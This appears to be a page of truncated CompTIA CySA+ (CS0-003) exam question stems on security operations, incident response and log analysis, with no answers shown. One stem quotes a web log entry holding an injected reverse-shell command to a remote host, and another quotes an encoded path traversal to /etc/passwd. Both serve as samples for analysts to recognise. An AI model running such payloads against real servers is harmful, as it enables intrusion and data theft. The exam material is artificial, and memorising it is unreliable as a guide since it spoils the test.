CS0-003 Exam Questions

Which of the following best explains the importance of playbooks for incident response teams?

Alerts from the security dashboard are reporting a cloud-based host is suspected to be corrupt. The OS is not loading. The initial investigation concludes that the OS files were mo...

A company received a shipment of new network switches. Immediately after installing the switches, a security analyst notices suspicious traffic coming from one of the new switches....

Which of the following best describes the benefit of implementing a PAM solution?

During the triage of a SIEM alarm, a security analyst identifies the following activity on a .bash_history file: Which of the following actions should the analyst take?

A security analyst identifies the following log entry in the web server logs: 10.203.10.23 - - [22/May/2024 11:06:29] "GET /admin?cmd=bash+- i+>%26+/dev/tcp/10.20.10.22/1234+0%3E%2...

A security analyst receives an alert with the following packet capture: Which of the following conclusions should the analyst reach about this incident?

An after-action review of a ransomware attack on a company identified deficiencies in responsiveness and consistency. Which of the following choices would best facilitate improveme...

A security analyst is performing a malware analysis on a device and receives the following instructions: - Reduce the blast radius of the potential threat. - Preserve forensic data...

Which of the following is the practice of controlling how evidence is handled to ensure its integrity during an investigation?

A SOC analyst is reviewing the weekly EDR report. The report shows that the same application was blocked once every 24 hours. Which of the following tools should the analyst use to...

A finance department employee opens an unsolicited email that contains a malicious payload. The payload quickly spreads through the finance department, but does not affect other de...

A security analyst is responding to an incident that is related to an unauthorized communication between systems. While triaging the event, the analyst obtains the following output...

Which of the following explains why a company would consider enriching data before sending it to the SIEM?

A company suspects a coordinated effort to attack their platform. Web server logs show malicious activity from many different source IP addresses located in different countries. Wh...

The DevSecOps team is remediating an SSRF issue on the company's public-facing website. Which of the following is the best mitigation technique to address this issue?

A SOC manager is looking for a solution that can improve the response time and execute predetermined instructions. Which of the following is the best solution based on these requir...

Which of the following is the best technical method to protect sensitive data at an organizational level?

A company wants to grant access to identity administrators who are completing similar tasks. Which of the following access control models should the company use?

An organization's Chief Information Security Officer (CISO) is organizing a tabletop drill. The CISO has included several other executives in the meeting invitation for the drill,...

An organization wants to implement an identity and access management technology that is resistant to phishing attacks. Which of the following is the best technology to implement?

A security analyst discovers that, over three months, an attacker has slowly created multiple accounts on a web server while avoiding detection. Which of the following best describ...

A SOC manager who recently switched companies notices that their new company's SOC analysts have significantly poorer operational metrics compared to their previous company, withou...

The architecture team has been given a mandate to reduce the triage time of phishing incidents by 20%. Which of the following solutions will most likely help with this effort?

A security analyst is testing a web application for vulnerabilities using Burp Suite. During the assessment, a capture of the following HTTP request and response is shown in the co...

When undertaking a cloud migration of multiple SaaS applications, an organization's systems administrators struggled with the complexity of extending identity and access management...

A security analyst is working on a suspicious email forwarded from a user. The email contains an attachment asking the user to open it. Which of the following should the security a...

A company discovers that its proprietary information is being sold on the dark web. A security analyst uses threat hunting to search for signs of compromise. After running a networ...

An incident responder is investigating a possible server data exfiltration incident with the intent to prosecute if necessary. The responder: - Captures live memory and an image of...

A company reports that user plain text credentials have been disclosed from their network. A security analyst is identifying the vulnerability and runs a scan to receive the follow...

A security analyst receives the following information about the company's systems. They need to prioritize which systems should be given the resources to improve security. Which of...

To comply with regulatory requirements, the Chief Executive Officer (CEO) must lead the company through simulations to find which steps are missing m emergency situations or incide...

During a routine review of DNS logs, a security analyst observes that Host X has been making frequent DNS requests to domains with random alphanumeric strings (e.g.. atd8ekthj.xyz)...

The website of a large retail chain is falling to enforce encrypted HTTPS connections, leaving customer account credentials exposed. Which of the following is the best corrective a...

A security analyst investigates a malware alert from a critical system. The following information is present in the ticket: Which of the following should the analyst do first?

An application security analyst needs to test a web application for input validation vulnerabilities. The analyst does not have the source code and does not have documentation for...

A security analyst IS comparing the results of the past and current active credentialed vulnerability scans: Past scan: Current scan: Which of the following should the analyst do n...

An analyst reviews the following web server log entries: %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd No attacks or malicious attempts have been discovered. Which of the fo...

The security team is reviewing a list of vulnerabilities present on the environment, and they want to prioritize the remediation based on the CVSS v4.0 metrics: Which of the follow...

A security analyst is investigating an unusually high volume of requests received on a web server. Based on the following command and output: Which of the following best describes...

A security analyst discovers multiple log entries from a recently acquired tool that was bundled as a YUM package. Those entries point to attempts of privilege escalation. Which of...

A company wants to implement protection mechanisms after an incident in which customer information was sent to a third party. Which of the following tools should the company implem...

A security analyst is implementing a process to perform vulnerability management on an ОТ environment: - Systems must remain on an isolated network. - The process should focus on e...

Hotspot Question A healthcare organization must develop an action plan based on the findings from a risk assessment. The action plan must consist of a recommended list of security...

A managed service provider manages servers in customer-assigned Internet Protocol spaces. The provider discovers that these servers are not included in scheduled network scans, but...

An organization's security operations center (SOC) team prioritizes confidentiality and integrity over monetary considerations. The SOC team contains a quickly progressing ransomwa...

A security analyst is analyzing two vulnerabilities on a critical router. The analyst must choose only one to patch during this maintenance window. Given the following information:...

Which of the following should a cybersecurity analyst utilize when a notification is inaccurate?

Which of the following are characteristics of Zero Trust Network Access?

A security operations (SOC) manager develops response mechanisms as part of playbook development efforts. The SOC manager needs to accomplish the following: - Document adversarial...